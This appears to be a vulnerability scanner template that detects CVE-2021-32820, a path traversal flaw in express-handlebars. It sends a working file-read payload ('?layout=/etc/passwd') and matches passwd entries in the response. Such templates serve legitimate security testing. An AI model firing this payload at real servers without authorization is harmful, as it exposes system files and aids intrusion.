id: CVE-2021-32820

info:
  name: Express-handlebars Path Traversal
  author: dhiyaneshDk
  severity: medium
  reference: |
        - https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
        - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
  tags: cve,cve2021,expressjs,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?layout=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
          - "daemon:[x*]:0:0:"
          - "operator:[x*]:0:0:"
        part: body
        condition: or